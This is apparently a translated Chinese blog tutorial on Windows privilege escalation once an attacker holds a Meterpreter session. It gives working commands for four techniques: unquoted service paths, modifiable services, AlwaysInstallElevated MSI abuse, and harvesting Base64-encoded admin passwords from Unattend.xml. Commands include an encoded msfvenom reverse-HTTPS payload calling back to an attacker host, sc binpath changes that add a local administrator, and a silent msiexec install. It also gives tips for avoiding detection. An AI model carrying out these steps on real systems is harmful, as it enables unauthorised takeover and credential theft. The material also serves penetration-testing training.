windows提權的幾種姿勢
想象這種畫面:你拿到了一臺機器上Meterpreter會話了,然後你準備執行
getsystem
命令進行提權,但如果提權沒有成功,你就準備認輸了嗎?只有懦夫才會認輸。但是你不是,對嗎?你是一個勇者!!!
這篇文章中我會講Windows上一般提權的方法,並演示如何手動進行提權和其對應的Metasploit模組。當我們把許可權從本地管理員提升到系統後更容易執行一些操作,而不適當的系統配置則可以使低許可權的使用者將自己的許可權提升到高許可權。
Note:本文中我們主要關注於不依賴核心漏洞的提權,例如:KiTrap0d(Meterpreter
getsystem
提權的四種方法之一)
Trusted Service Paths
這個漏洞存在於二進位制服務檔案路徑中Windows錯誤解釋空格。這些服務通常都是以系統許可權執行的,如果我們利用這些服務就可能提權到系統許可權。例如如下檔案路徑:
C:\Program Files\Some Folder\Service.exe
上面檔案路徑中的空格,Windows會嘗試尋找並執行以空格前單詞為名字的程式,作業系統會在檔案路徑下查詢所有可能匹配項直到找到一個匹配為止。例如如下例子,Windows會嘗試定位並執行如下的程式:
C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe
Note:這種特性發生在開發人員沒有將整個檔案路徑包含在引號內。將檔案路徑包含在引號內會降低這個漏洞的威脅。所以這個漏洞被稱為“不帶引號的服務路徑(Unquoted Service Paths.)”
如果我們在這個資料夾下放置一個精心構造名字的惡意檔案,在服務重啟後,我們就擁有以系統許可權執行的惡意程式了。然而,在放置惡意軟體前我們首先要確保我們擁有目標資料夾的許可權。那麼下面讓我們來看下如何發現和利用這個漏洞。
首先,我們可以利用下面一行WMI命令查詢,列出目標機器上所有沒有用引號包含的服務路徑:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Wind
有命中的!PFNet服務的路徑沒有使用引號包含同時路徑中包含空格。這裡我們想要利用需要有資料夾的許可權。假設我們已經有了裝置上的管理員許可權,那我們可以使用Windows內建工具icacls檢視路徑中受影響資料夾的許可權:
icacls "C:\Program Files (x86)\Privacyware" <img class="alignnone wp-image-15477 size-full" src="https://static-js.b0.upaiyun.com/wp-content/uploads/2016/03/26.jpg" alt="26" width="653" height="194" />
注意第一行
BUILTIN\Users:(OI)(CI)(M)
:列出了每個使用者具有的許可權。(M)代表修改許可權,這是我們具有的許可權,可以進行讀、寫和刪除資料夾中的檔案和子資料夾。我們太幸運了!我們現在可以隨意的建立和刪除名為
Privatefirewall.exe
的惡意軟體。那麼開始吧!
Note:如果我們擁有Privacyware資料夾寫許可權也能完成同樣的事情,更多關於Windows許可權的資料請參考MSDN的連結:File and Folder Permissions
當我們利用MSFVenom生成一個可執行檔案時,我們希望能夠在本地管理員組(windows/adduser)裡增加一個賬戶或者彈回一個系統許可權的Meterpreter shell(如下面示例)。當然也可以進行其他的操作。
msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=10.0.0.100 LPORT=443 <img class="alignnone wp-image-15478 size-full" src="https://static-js.b0.upaiyun.com/wp-content/uploads/2016/03/33.jpg" alt="33" width="508" height="97" />
現在我們來執行我們的惡意軟體,嘗試先關閉在開啟PFNet服務以彈回我們的shell。我們可以使用內建工具
sc
sc stop PFNet sc start PFNet <img src="http://cracer.com/wp-content/uploads/2016/03/43.jpg" alt="" />
沒用!原來我們只有服務資料夾的操作許可權,但是沒有操作PFNet服務本身的許可權。這種情況下,我們只能等待有人重啟目標機器或者重頭再來。
當目標機器重啟後,Windows定位並重啟了我們的惡意軟體彈回了一個具有系統許可權的Shell。
Metasploit Module:
exploit/windows/local/trusted_service_path
這個模組只需要我們連線到了一個Meterpreter會話即可執行。
這裡我們檢視原始碼發現,這個模組通過正則表示式篩選出沒有用引號包含起來的服務並建立一個易受攻擊的服務列表,之後嘗試針對列表中第一個服務在其資料夾下面放置一個惡意可執行檔案,然後重啟重啟服務並在重啟服務後移除之前放置的惡意可執行檔案。
Note:在這個模組程式碼中我沒有看見任何一處在嘗試放置可執行檔案失敗後檢測是否擁有目標資料夾許可權的程式碼。這讓我有些疑惑…
Vulnerable Services
在討論易受攻擊服務利用的時候我們總談論下面兩類:
1.服務二進位制檔案(Service Binaries)
2.Windows服務(Windows Services)
前者跟我們之前說的可信服務路徑很相似。可信服務路徑是利用Windows檔案解釋的漏洞,而易受攻擊的服務則是利用目標檔案或資料夾自身擁有執行的許可權。如果擁有許可權,我們可以簡單的替換服務為我們的惡意執行檔案。使用
Privacy Firewall
為例,我們放置一個名為pfsvc.exe的可執行檔案到”Privatefirewall 7.0″資料夾中。
後者是指Windows服務具有修改自己屬性的能力。這些服務通常執行在後臺,作業系統要通過Service Control Manager(SCM)進行控制。如果我們可以修改服務的二進位制檔案,在服務重啟後,我們就擁有了一個以SYSTEM許可權執行的自己的服務了。下面我們來看下。
最簡單確定Windows服務是否存在有風險許可權的方法就是使用AccessChk工具(它是SysInternals Suite中的一部分)。這個工具是由Mark Russinovich寫的用於在Windows上進行一些系統或程式的高階查詢、管理和故障排除。在進行滲透測試的時候鑑於反病毒軟體的檢測等原因我們應該儘量少的接觸目標磁碟,而AccessChk這個著名的微軟工具可以幫我們達到目的。
當我們在目標機器上下載了AccessChk後,我們可以執行以下命令來檢查有哪個服務可以被我們修改:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula <img src="http://cracer.com/wp-content/uploads/2016/03/17.jpg" alt="" />
看看我們找到了什麼,PFNet再一次的出現了!
SERVICE_ALL_ACCESS
意味著我們擁有PFNet服務的完全控制權。正常情況下未授權的使用者是不應該有這些Windows服務許可權的,但由於管理員甚至是第三方開發人員錯誤的配置才可能導致這種漏洞的出現(不管你是否相信,XP中的確執行著一些這樣易受威脅的內建服務)。
Note:這裡為了演示故意將PFNet服務修改成這種不安全的情況。
下面讓我們用
sc
命令來檢視PFNet服務的配置屬性:
sc qc PFNet
這裡請注意BINARY_PATH_NAME值是指向pfsvc.exe的,這個就是服務的二進位制檔案。更改這個值為增加一個使用者的命令,那麼當服務重啟的時候這條命令就會被以系統許可權執行(確保
1 | SERVICE_START_NAME |
被指向了
1 | LocalSystem |
)。我們可以多次重複執行這個程式以新增一個新使用者到本地管理員組中:
sc config PFNET binpath= "net user rottenadmin [email protected]! /add" sc stop PFNET sc start PFNET sc config PFNET binpath= "net localgroup Administrators rottenadmin /add" sc stop PFNET sc start PFNET
耶?每當我們開啟服務時sc命令都返回了一個錯誤。這是因為
net user
和
net localgroup
命令沒有指向二進位制服務,因此SCM無法與服務進行通訊。但是別害怕,雖然報錯了但是我們新增使用者的命令卻完成了:
Note:我建議在我們提權完成之後恢復binpath使其指向原先的值。這樣服務會正常執行並且減少引起一些不必要的注意。
現在我們在目標機器上面擁有了一個管理員許可權的賬戶了,如果需要後期將這個賬戶提升為系統許可權也還是很簡單的。
Metasploit Module:
1 | exploit/windows/local/service_permissions |
同樣這個模組只需要我們連線到了一個Meterpreter會話即可執行:
這個模組會嘗試兩種方法將許可權提升至SYSTEM。第一種,如果Meterpreter會話是管理員許可權,那麼模組會建立並允許一個新的服務。如果當前許可權不允許建立服務,模組會尋找是否擁有的資料夾或者檔案許可權以劫持現有服務。
無論是建立新服務還是劫持現有服務,模組都會建立一個包含隨機檔名和安裝路徑的可執行檔案。當啟用
1 | AGGRESSIVE |
選項後,這個模組會在目標機器上所有可攻擊的服務上執行,當不啟用這個選項時,模組在第一次成功提權後就會結束。
AlwaysInstallElevated
AlwaysInstallElevated是微軟允許非授權使用者以SYSTEM許可權執行安裝檔案(MSI)的一種設定。然而,給予用於這種權利會存在一定的安全隱患,因為如果這樣做下面兩個登錄檔的值會被置為”1″:
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
想查詢這兩個鍵值最簡單的方法就是使用內建的命令:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Note:如果這條命令出錯類似於:”
1 | The system was unable to find the specified registry key or value” |
,這可能是組策略裡AlwaysInstallElevated沒有被定義,因此不存在相關聯的登錄檔項。
現在我們假設AlwaysInstallElevated已經啟用了,我們可以利用MSFVenom工具來生成一個在目標機器上增加管理員使用者的MSI安裝檔案:
msfvenom -p windows/adduser USER=rottenadmin [email protected]! -f msi -o rotten.msi
當我們在目標機器上載入了新生成的MSI檔案後,我們可以使用Windows命令列工具
1 | Msiexec |
進行安裝:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\rotten.msi
msiexec相關引數解釋如下:
1 | 1./quiet |
=安裝過程中禁止向用戶傳送訊息
1 | 2./qn |
=不使用GUI
1 | 3./i |
=安裝程式
執行後,我們可以在目標機器上檢測我們新建立的管理員使用者:
Note:使用MSFVenom建立MSI檔案時使用了always_install_elevated模組,那麼在安裝過程中會失敗。這是因為作業系統會阻止未註冊的安裝。
Metasploit Module:
1 | exploit/windows/local/always_install_elevated |
如下所示,這個模組只需要連線到之前執行過的會話即可:
這是一種叫
1 | QUIET |
的高階設定,多數情況下我們都會願意啟動的。啟用
1 | QUIET |
選項就跟在Msiexec中使用
1 | /quiet |
選項一樣不會給使用者顯示任何資訊。這樣確保不會彈出任何資訊,使我們的活動更加隱蔽。
這個模組會建立一個隨機檔名的MSI檔案並在提權成功後刪除所有已部署的檔案。
Unattended Installs
自動安裝允許程式在不需要管理員關注下自動安裝。這種解決方案用於在擁有較多僱員和時間緊缺的較大型組織中部署程式。如果管理員沒有進行清理的話,那麼會有一個名為Unattend的XML檔案殘存在系統上。這個XML檔案包含所有在安裝程式過程中的配置,包括一些本地使用者的配置,以及管理員賬戶!
全盤搜尋Unattend檔案是個好辦法,它通常會在以下一個資料夾中:
C:\Windows\Panther\ C:\Windows\Panther\Unattend\ C:\Windows\System32\ C:\Windows\System32\sysprep\
Note:除了Unattend.xml檔案外,還要留意系統中的sysprep.xml和sysprep.inf檔案,這些檔案中都會包含部署作業系統時使用的憑據資訊,這些資訊可以幫助我們提權。
當我們找到一個Unattend後,開啟它並搜尋
1 | <UserAccounts> |
標籤。這一部分會定義每一個本地賬戶的設定(有時甚至包括域賬戶):
<UserAccounts> <LocalAccounts> <LocalAccount> <Password> <Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value> <PlainText>false</PlainText> </Password> <Description>Local Administrator</Description> <DisplayName>Administrator</DisplayName> <Group>Administrators</Group> <Name>Administrator</Name> </LocalAccount> </LocalAccounts> </UserAccounts>
在這個Unattend檔案中,我們可以看到一個本地賬戶被建立並加入到了管理員組中。管理員密碼沒有以明文形式顯示,但是顯然密碼是以Base64進行編碼的。在Kali中我們可以使用一下命令進行解碼:
echo "UEBzc3dvcmQxMjMhUGFzc3dvcmQ=" | base64 -d
我們的密碼為”[email protected]!Password”,等等,微軟在進行編碼前會在Unattend檔案中所有的密碼後面都追加”Password”,所以我們本地管理員的密碼實際上是”[email protected]!”。
Note:在
1 | <UserAccounts> |
中,你可能還會看到
1 | <AdministratorPassword> |
標籤這是另一種配置本地管理員賬戶的方式。
Metasploit Module:
1 | post/windows/gather/enum_unattend |
這個模組比較簡單。就是獲取我們感興趣目標的Meterpreter會話。
在檢視過原始碼後我們發現,這個模組僅僅只是搜尋Unattend.xml檔案,然而會忽略其他像syspref.xml和syspref.inf這樣的檔案。簡而言之,這個模組就是全盤搜尋Unattend.xml檔案以找到管理員賬戶密碼。